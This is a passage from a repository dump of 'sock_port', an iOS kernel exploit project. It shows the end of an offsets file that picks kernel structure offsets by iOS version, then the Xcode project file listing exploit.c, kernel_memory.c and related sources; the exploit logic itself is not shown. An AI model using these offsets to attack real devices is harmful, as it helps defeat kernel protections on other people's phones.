0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 0x7c, // KFREE_ADDR_OFFSET }; int koffset(enum kstruct_offset offset) { if (offsets == NULL) { printf("need to call offsets_init() prior to querying offsets\n"); return 0; } return offsets[offset]; } uint32_t create_outsize; void offsets_init() { if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"12.0")) { printf("[i] offsets selected for iOS 12.0 or above\n"); offsets = kstruct_offsets_12_0; #if __arm64e__ offsets[8] = 0x368; #endif create_outsize = 0xdd0; } else if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"11.3")) { printf("[i] offsets selected for iOS 11.3 or above\n"); offsets = kstruct_offsets_11_3; create_outsize = 0xbc8; } else if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"11.1")) { printf("[i] offsets selected for iOS 11.1 or above\n"); offsets = kstruct_offsets_11_3; create_outsize = 0xbc8; } else if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"11.0")) { printf("[i] offsets selected for iOS 11.0 to 11.0.3\n"); offsets = kstruct_offsets_11_0; create_outsize = 0x6c8; } else if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"10.0")) { printf("[i] offsets selected for iOS 10.x\n"); offsets = kstruct_offsets_10_x; create_outsize = 0x3c8; } else { printf("[-] iOS version too low, 10.0 required\n"); exit(EXIT_FAILURE); } } ================================================ FILE: sock_port.xcodeproj/project.pbxproj ================================================ // !$*UTF8*$! { archiveVersion = 1; classes = { }; objectVersion = 48; objects = { /* Begin PBXBuildFile section */ 8288501222E07303005D10FC /* kernel_memory.c in Sources */ = {isa = PBXBuildFile; fileRef = 8288501022E07303005D10FC /* kernel_memory.c */; }; 8288501522E07C15005D10FC /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = 8288501322E07C14005D10FC /* offsets.m */; }; 82E9B71522E24BAD0016AA39 /* iosurface.c in Sources */ = {isa = PBXBuildFile; fileRef = 82E9B71422E24BAD0016AA39 /* iosurface.c */; }; 82F179F122DF4ED700231F8C /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F179F022DF4ED700231F8C /* AppDelegate.m */; }; 82F179F422DF4ED700231F8C /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F179F322DF4ED700231F8C /* ViewController.m */; }; 82F179F722DF4ED700231F8C /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 82F179F522DF4ED700231F8C /* Main.storyboard */; }; 82F179F922DF4ED700231F8C /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 82F179F822DF4ED700231F8C /* Assets.xcassets */; }; 82F179FC22DF4ED700231F8C /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 82F179FA22DF4ED700231F8C /* LaunchScreen.storyboard */; }; 82F179FF22DF4ED700231F8C /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F179FE22DF4ED700231F8C /* main.m */; }; 82F17A0922DF4ED800231F8C /* socket_freeTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F17A0822DF4ED800231F8C /* socket_freeTests.m */; }; 82F17A1422DF4ED800231F8C /* socket_freeUITests.m in Sources */ = {isa = PBXBuildFile; fileRef = 82F17A1322DF4ED800231F8C /* socket_freeUITests.m */; }; 82F17A2322DF4EF100231F8C /* exploit.c in Sources */ = {isa = PBXBuildFile; fileRef = 82F17A2122DF4EF100231F8C /* exploit.c */; }; 82F17A2622DF4F1C00231F8C /* exploit_utilities.c in Sources */ = {isa = PBXBuildFile; fileRef = 82F17A2422DF4F1C00231F8C /* exploit_utilities.c */; }; /* End PBXBuildFile section */ /* Begin PBXContainerItemProxy section */ 82F17A0522DF4ED800231F8C /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; containerPortal = 82F179E422DF4ED700231F8C /* Project object */; proxyType = 1; remoteGlobalIDString = 82F179EB22DF4ED700231F8C; remoteInfo = socket_free; }; 82F17A1022DF4ED800231F8C /* PBXContainerItemProxy */ = { isa = PBXContainerItemProxy; containerPortal = 82F179E422DF4ED700231F8C /* Project object */; proxyType = 1; remoteGlobalIDString = 82F179EB22DF4ED700231F8C; remoteInfo = socket_free; }; /* End PBXContainerItemProxy section */ /* Begin PBXFileReference section */ 8288501022E07303005D10FC /* kernel_memory.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = kernel_memory.c; sourceTree = ""; }; 8288501122E07303005D10FC /* kernel_memory.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kernel_memory.h; sourceTree = ""; }; 8288501322E07C14005D10FC /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = ""; }; 8288501422E07C14005D10FC /* offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = offsets.h; sourceTree = ""; }; 82E9B71322E24BAC0016AA39 /* iosurface.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iosurface.h; sourceTree = ""; }; 82E9B71422E24BAD0016AA39 /* iosurface.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = iosurface.c; sourceTree = ""; }; 82F179EC22DF4ED700231F8C /* sock_port.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = sock_port.app; sourceTree = BUILT_PRODUCTS_DIR; }; 82F179EF22DF4ED700231F8C /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; 82F179F022DF4ED700231F8C /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; 82F179F222DF4ED700231F8C /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; }; 82F179F322DF4ED700231F8C /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; }; 82F179F622DF4ED700231F8C /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; }; 82F179F822DF4ED700231F8C /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 82F179FB22DF4ED700231F8C /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 82F179FD22DF4ED700231F8C /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 82F179FE22DF4ED700231F8C /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 82F17A0422DF4ED800231F8C /* sock_portTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = sock_portTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; 82F17A0822DF4ED800231F8C /* socket_freeTests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = socket_freeTests.m; sourceTree = ""; }; 82F17A0A22DF4ED800231F8C /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 82F17A0F22DF4ED800231F8C /* sock_portUITests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = sock_portUITests.xctest; sourceTree = BUILT_PRODUCTS_DIR; }; 82F17A1322DF4ED800231F8C /* socket_freeUITests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = socket_freeUITests.m; sourceTree = ""; }; 82F17A1522DF4ED800231F8C /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 82F17A2122DF4EF100231F8C /* exploit.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = ""; }; 82F17A2222DF4EF100231F8C /* exploit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = ""; }; 82F17A2422DF4F1C00231F8C /* exploit_utilities.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; path = exploit_utilities.c; sourceTree = ""; }; 82F17A2522DF4F1C00231F8C /* exploit_utilities.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = exploit_utilities.h; sourceTree = ""; }; 82F17A2822DF57B700231F8C /* IOKit.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = IOKit.tbd; path = socket_free/IOKit.tbd; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ 82F179E922DF4ED700231F8C /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0122DF4ED800231F8C /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0C22DF4ED800231F8C /* Frameworks */ = { isa = PBXFrameworksBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXFrameworksBuildPhase section */ /* Begin PBXGroup section */ 82F179E322DF4ED700231F8C = { isa = PBXGroup; children = ( 82F179EE22DF4ED700231F8C /* sock_port */, 82F17A0722DF4ED800231F8C /* sock_port_tests */, 82F17A1222DF4ED800231F8C /* sock_port_UITests */, 82F179ED22DF4ED700231F8C /* Products */, 82F17A2722DF57B700231F8C /* Frameworks */, ); sourceTree = ""; }; 82F179ED22DF4ED700231F8C /* Products */ = { isa = PBXGroup; children = ( 82F179EC22DF4ED700231F8C /* sock_port.app */, 82F17A0422DF4ED800231F8C /* sock_portTests.xctest */, 82F17A0F22DF4ED800231F8C /* sock_portUITests.xctest */, ); name = Products; sourceTree = ""; }; 82F179EE22DF4ED700231F8C /* sock_port */ = { isa = PBXGroup; children = ( 82F179EF22DF4ED700231F8C /* AppDelegate.h */, 82F179F022DF4ED700231F8C /* AppDelegate.m */, 82F179F222DF4ED700231F8C /* ViewController.h */, 82F179F322DF4ED700231F8C /* ViewController.m */, 82F17A2122DF4EF100231F8C /* exploit.c */, 82F17A2222DF4EF100231F8C /* exploit.h */, 82F17A2422DF4F1C00231F8C /* exploit_utilities.c */, 82F17A2522DF4F1C00231F8C /* exploit_utilities.h */, 8288501022E07303005D10FC /* kernel_memory.c */, 8288501122E07303005D10FC /* kernel_memory.h */, 8288501422E07C14005D10FC /* offsets.h */, 8288501322E07C14005D10FC /* offsets.m */, 82E9B71422E24BAD0016AA39 /* iosurface.c */, 82E9B71322E24BAC0016AA39 /* iosurface.h */, 82F179F522DF4ED700231F8C /* Main.storyboard */, 82F179F822DF4ED700231F8C /* Assets.xcassets */, 82F179FA22DF4ED700231F8C /* LaunchScreen.storyboard */, 82F179FD22DF4ED700231F8C /* Info.plist */, 82F179FE22DF4ED700231F8C /* main.m */, ); path = sock_port; sourceTree = ""; }; 82F17A0722DF4ED800231F8C /* sock_port_tests */ = { isa = PBXGroup; children = ( 82F17A0822DF4ED800231F8C /* socket_freeTests.m */, 82F17A0A22DF4ED800231F8C /* Info.plist */, ); path = sock_port_tests; sourceTree = ""; }; 82F17A1222DF4ED800231F8C /* sock_port_UITests */ = { isa = PBXGroup; children = ( 82F17A1322DF4ED800231F8C /* socket_freeUITests.m */, 82F17A1522DF4ED800231F8C /* Info.plist */, ); path = sock_port_UITests; sourceTree = ""; }; 82F17A2722DF57B700231F8C /* Frameworks */ = { isa = PBXGroup; children = ( 82F17A2822DF57B700231F8C /* IOKit.tbd */, ); name = Frameworks; sourceTree = ""; }; /* End PBXGroup section */ /* Begin PBXNativeTarget section */ 82F179EB22DF4ED700231F8C /* sock_port */ = { isa = PBXNativeTarget; buildConfigurationList = 82F17A1822DF4ED800231F8C /* Build configuration list for PBXNativeTarget "sock_port" */; buildPhases = ( 82F179E822DF4ED700231F8C /* Sources */, 82F179E922DF4ED700231F8C /* Frameworks */, 82F179EA22DF4ED700231F8C /* Resources */, ); buildRules = ( ); dependencies = ( ); name = sock_port; productName = socket_free; productReference = 82F179EC22DF4ED700231F8C /* sock_port.app */; productType = "com.apple.product-type.application"; }; 82F17A0322DF4ED800231F8C /* sock_portTests */ = { isa = PBXNativeTarget; buildConfigurationList = 82F17A1B22DF4ED800231F8C /* Build configuration list for PBXNativeTarget "sock_portTests" */; buildPhases = ( 82F17A0022DF4ED800231F8C /* Sources */, 82F17A0122DF4ED800231F8C /* Frameworks */, 82F17A0222DF4ED800231F8C /* Resources */, ); buildRules = ( ); dependencies = ( 82F17A0622DF4ED800231F8C /* PBXTargetDependency */, ); name = sock_portTests; productName = socket_freeTests; productReference = 82F17A0422DF4ED800231F8C /* sock_portTests.xctest */; productType = "com.apple.product-type.bundle.unit-test"; }; 82F17A0E22DF4ED800231F8C /* sock_portUITests */ = { isa = PBXNativeTarget; buildConfigurationList = 82F17A1E22DF4ED800231F8C /* Build configuration list for PBXNativeTarget "sock_portUITests" */; buildPhases = ( 82F17A0B22DF4ED800231F8C /* Sources */, 82F17A0C22DF4ED800231F8C /* Frameworks */, 82F17A0D22DF4ED800231F8C /* Resources */, ); buildRules = ( ); dependencies = ( 82F17A1122DF4ED800231F8C /* PBXTargetDependency */, ); name = sock_portUITests; productName = socket_freeUITests; productReference = 82F17A0F22DF4ED800231F8C /* sock_portUITests.xctest */; productType = "com.apple.product-type.bundle.ui-testing"; }; /* End PBXNativeTarget section */ /* Begin PBXProject section */ 82F179E422DF4ED700231F8C /* Project object */ = { isa = PBXProject; attributes = { LastUpgradeCheck = 0920; ORGANIZATIONNAME = "Jake James"; TargetAttributes = { 82F179EB22DF4ED700231F8C = { CreatedOnToolsVersion = 9.2; ProvisioningStyle = Manual; }; 82F17A0322DF4ED800231F8C = { CreatedOnToolsVersion = 9.2; ProvisioningStyle = Automatic; TestTargetID = 82F179EB22DF4ED700231F8C; }; 82F17A0E22DF4ED800231F8C = { CreatedOnToolsVersion = 9.2; ProvisioningStyle = Automatic; TestTargetID = 82F179EB22DF4ED700231F8C; }; }; }; buildConfigurationList = 82F179E722DF4ED700231F8C /* Build configuration list for PBXProject "sock_port" */; compatibilityVersion = "Xcode 8.0"; developmentRegion = en; hasScannedForEncodings = 0; knownRegions = ( en, Base, ); mainGroup = 82F179E322DF4ED700231F8C; productRefGroup = 82F179ED22DF4ED700231F8C /* Products */; projectDirPath = ""; projectRoot = ""; targets = ( 82F179EB22DF4ED700231F8C /* sock_port */, 82F17A0322DF4ED800231F8C /* sock_portTests */, 82F17A0E22DF4ED800231F8C /* sock_portUITests */, ); }; /* End PBXProject section */ /* Begin PBXResourcesBuildPhase section */ 82F179EA22DF4ED700231F8C /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( 82F179FC22DF4ED700231F8C /* LaunchScreen.storyboard in Resources */, 82F179F922DF4ED700231F8C /* Assets.xcassets in Resources */, 82F179F722DF4ED700231F8C /* Main.storyboard in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0222DF4ED800231F8C /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0D22DF4ED800231F8C /* Resources */ = { isa = PBXResourcesBuildPhase; buildActionMask = 2147483647; files = ( ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXResourcesBuildPhase section */ /* Begin PBXSourcesBuildPhase section */ 82F179E822DF4ED700231F8C /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( 82F17A2622DF4F1C00231F8C /* exploit_utilities.c in Sources */, 82F179F422DF4ED700231F8C /* ViewController.m in Sources */, 82F179FF22DF4ED700231F8C /* main.m in Sources */, 82F179F122DF4ED700231F8C /* AppDelegate.m in Sources */, 82F17A2322DF4EF100231F8C /* exploit.c in Sources */, 82E9B71522E24BAD0016AA39 /* iosurface.c in Sources */, 8288501522E07C15005D10FC /* offsets.m in Sources */, 8288501222E07303005D10FC /* kernel_memory.c in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0022DF4ED800231F8C /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( 82F17A0922DF4ED800231F8C /* socket_freeTests.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; 82F17A0B22DF4ED800231F8C /* Sources */ = { isa = PBXSourcesBuildPhase; buildActionMask = 2147483647; files = ( 82F17A1422DF4ED800231F8C /* socket_freeUITests.m in Sources */, ); runOnlyForDeploymentPostprocessing = 0; }; /* End PBXSourcesBuildPhase section */ /* Begin PBXTargetDependency section */ 82F17A0622DF4ED800231F8C /* PBXTargetDependency */ = { isa = PBXTargetDependency; target = 82F179EB22DF4ED700231F8C /* sock_port */; targetProxy = 82F17A0522DF4ED800231F8C /* PBXContainerItemProxy */; }; 82F17A1122DF4ED800231F8C /* PBXTargetDependency */ = { isa = PBXTargetDependency; target = 82F179EB22DF4ED700231F8C /* sock_port */; targetProxy = 82F17A1022DF4ED800231F8C /* PBXContainerItemProxy */; }; /* End PBXTargetDependency section */ /* Begin PBXVariantGroup section */ 82F179F522DF4ED700231F8C /* Main.storyboard */ = { isa = PBXVariantGroup; children = ( 82F179F622DF4ED700231F8C /* Base */, ); name = Main.storyboard; sourceTree = ""; }; 82F179FA22DF4ED700231F8C /* LaunchScreen.storyboard */ = { isa = PBXVariantGroup; children = ( 82F179FB22DF4ED700231F8C /* Base */, ); name = LaunchScreen.storyboard; sourceTree = ""; }; /* End PBXVariantGroup section */ /* Begin XCBuildConfiguration section */ 82F17A1622DF4ED800231F8C /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_DOCUMENTATION_COMMENTS = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; CODE_SIGN_IDENTITY = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = dwarf; ENABLE_STRICT_OBJC_MSGSEND = YES; ENABLE_TESTABILITY = YES; GCC_C_LANGUAGE_STANDARD = gnu11; GCC_DYNAMIC_NO_PIC = NO; GCC_NO_COMMON_BLOCKS = YES; GCC_OPTIMIZATION_LEVEL = 0; GCC_PREPROCESSOR_DEFINITIONS = ( "DEBUG=1", "$(inherited)", ); GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 11.2; MTL_ENABLE_DEBUG_INFO = YES; ONLY_ACTIVE_ARCH = YES; SDKROOT = iphoneos; }; name = Debug; }; 82F17A1722DF4ED800231F8C /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = NO; CLANG_ANALYZER_NONNULL = YES; CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; CLANG_CXX_LANGUAGE_STANDARD = "gnu++14"; CLANG_CXX_LIBRARY = "libc++"; CLANG_ENABLE_MODULES = YES; CLANG_ENABLE_OBJC_ARC = YES; CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; CLANG_WARN_BOOL_CONVERSION = YES; CLANG_WARN_COMMA = YES; CLANG_WARN_CONSTANT_CONVERSION = YES; CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; CLANG_WARN_DOCUMENTATION_COMMENTS = YES; CLANG_WARN_EMPTY_BODY = YES; CLANG_WARN_ENUM_CONVERSION = YES; CLANG_WARN_INFINITE_RECURSION = YES; CLANG_WARN_INT_CONVERSION = YES; CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; CLANG_WARN_STRICT_PROTOTYPES = YES; CLANG_WARN_SUSPICIOUS_MOVE = YES; CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; CLANG_WARN_UNREACHABLE_CODE = YES; CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; CODE_SIGN_IDENTITY = "iPhone Developer"; COPY_PHASE_STRIP = NO; DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; ENABLE_NS_ASSERTIONS = NO; ENABLE_STRICT_OBJC_MSGSEND = YES; GCC_C_LANGUAGE_STANDARD = gnu11; GCC_NO_COMMON_BLOCKS = YES; GCC_WARN_64_TO_32_BIT_CONVERSION = YES; GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; GCC_WARN_UNDECLARED_SELECTOR = YES; GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; GCC_WARN_UNUSED_FUNCTION = YES; GCC_WARN_UNUSED_VARIABLE = YES; IPHONEOS_DEPLOYMENT_TARGET = 11.2; MTL_ENABLE_DEBUG_INFO = NO; SDKROOT = iphoneos; VALIDATE_PRODUCT = YES; }; name = Release; }; 82F17A1922DF4ED800231F8C /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = YES; ARCHS = ( arm64, arm64e, armv7, ); ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; CODE_SIGN_STYLE = Manual; DEVELOPMENT_TEAM = ""; HEADER_SEARCH_PATHS = "\"$(SRCROOT)/sock_port/include\""; INFOPLIST_FILE = "$(SRCROOT)/sock_port/Info.plist"; IPHONEOS_DEPLOYMENT_TARGET = 9.0; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; LIBRARY_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/sock_port", ); OTHER_LDFLAGS = ( "-framework", IOKit, ); PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.sock-port"; PRODUCT_NAME = "$(TARGET_NAME)"; PROVISIONING_PROFILE_SPECIFIER = ""; TARGETED_DEVICE_FAMILY = "1,2"; USER_HEADER_SEARCH_PATHS = "\"$(SRCROOT)/sock_port/include\""; VALID_ARCHS = "arm64 arm64e armv7"; }; name = Debug; }; 82F17A1A22DF4ED800231F8C /* Release */ = { isa = XCBuildConfiguration; buildSettings = { ALWAYS_SEARCH_USER_PATHS = YES; ARCHS = ( arm64, arm64e, armv7, ); ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon; "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; CODE_SIGN_STYLE = Manual; DEVELOPMENT_TEAM = ""; HEADER_SEARCH_PATHS = "\"$(SRCROOT)/sock_port/include\""; INFOPLIST_FILE = "$(SRCROOT)/sock_port/Info.plist"; IPHONEOS_DEPLOYMENT_TARGET = 9.0; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks"; LIBRARY_SEARCH_PATHS = ( "$(inherited)", "$(PROJECT_DIR)/sock_port", ); OTHER_LDFLAGS = ( "-framework", IOKit, ); PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.sock-port"; PRODUCT_NAME = "$(TARGET_NAME)"; PROVISIONING_PROFILE_SPECIFIER = ""; TARGETED_DEVICE_FAMILY = "1,2"; USER_HEADER_SEARCH_PATHS = "\"$(SRCROOT)/sock_port/include\""; VALID_ARCHS = "arm64 arm64e armv7"; }; name = Release; }; 82F17A1C22DF4ED800231F8C /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = 22G2QV87A2; INFOPLIST_FILE = socket_freeTests/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.socket-freeTests"; PRODUCT_NAME = "$(TARGET_NAME)"; TARGETED_DEVICE_FAMILY = "1,2"; TEST_HOST = "$(BUILT_PRODUCTS_DIR)/sock_port.app/sock_port"; }; name = Debug; }; 82F17A1D22DF4ED800231F8C /* Release */ = { isa = XCBuildConfiguration; buildSettings = { BUNDLE_LOADER = "$(TEST_HOST)"; CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = 22G2QV87A2; INFOPLIST_FILE = socket_freeTests/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.socket-freeTests"; PRODUCT_NAME = "$(TARGET_NAME)"; TARGETED_DEVICE_FAMILY = "1,2"; TEST_HOST = "$(BUILT_PRODUCTS_DIR)/sock_port.app/sock_port"; }; name = Release; }; 82F17A1F22DF4ED800231F8C /* Debug */ = { isa = XCBuildConfiguration; buildSettings = { CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = 22G2QV87A2; INFOPLIST_FILE = socket_freeUITests/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.socket-freeUITests"; PRODUCT_NAME = "$(TARGET_NAME)"; TARGETED_DEVICE_FAMILY = "1,2"; TEST_TARGET_NAME = socket_free; }; name = Debug; }; 82F17A2022DF4ED800231F8C /* Release */ = { isa = XCBuildConfiguration; buildSettings = { CODE_SIGN_STYLE = Automatic; DEVELOPMENT_TEAM = 22G2QV87A2; INFOPLIST_FILE = socket_freeUITests/Info.plist; LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; PRODUCT_BUNDLE_IDENTIFIER = "com.jakeashacks.socket-freeUITests"; PRODUCT_NAME = "$(TARGET_NAME)"; TARGETED_DEVICE_FAMILY = "1,2"; TEST_TARGET_NAME = socket_free; }; name = Release; }; /* End XCBuildConfiguration section */ /* Begin XCConfigurationList section */ 82F179E722DF4ED700231F8C /* Build configuration list for PBXProject "sock_port" */ = { isa = XCConfigurationList; buildConfigurations = ( 82F17A1622DF4ED800231F8C /* Debug */, 82F17A1722DF4ED800231F8C /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; 82F17A1822DF4ED800231F8C /* Build configuration list for PBXNativeTarget "sock_port" */ = { isa = XCConfigurationList; buildConfigurations = ( 82F17A1922DF4ED800231F8C /* Debug */, 82F17A1A22DF4ED800231F8C /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; 82F17A1B22DF4ED800231F8C /* Build configuration list for PBXNativeTarget "sock_portTests" */ = { isa = XCConfigurationList; buildConfigurations = ( 82F17A1C22DF4ED800231F8C /* Debug */, 82F17A1D22DF4ED800231F8C /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; 82F17A1E22DF4ED800231F8C /* Build configuration list for PBXNativeTarget "sock_portUITests" */ = { isa = XCConfigurationList; buildConfigurations = ( 82F17A1F22DF4ED800231F8C /* Debug */, 82F17A2022DF4ED800231F8C /* Release */, ); defaultConfigurationIsVisible = 0; defaultConfigurationName = Release; }; /* End XCConfigurationList section */ }; rootObject = 82F179E422DF4ED700231F8C /* Project object */; } ================================================ FILE: sock_port.xcodeproj/project.xcworkspace/contents.xcworkspacedata ================================================ ================================================ FILE: sock_port.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist ================================================ IDEDidComputeMac32BitWarning ================================================ FILE: sock_port.xcodeproj/xcshareddata/xcschemes/sock_port.xcscheme ================================================ ================================================ FILE: sock_port.xcodeproj/xcuserdata/jakejames.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist ================================================ ================================================ FILE: 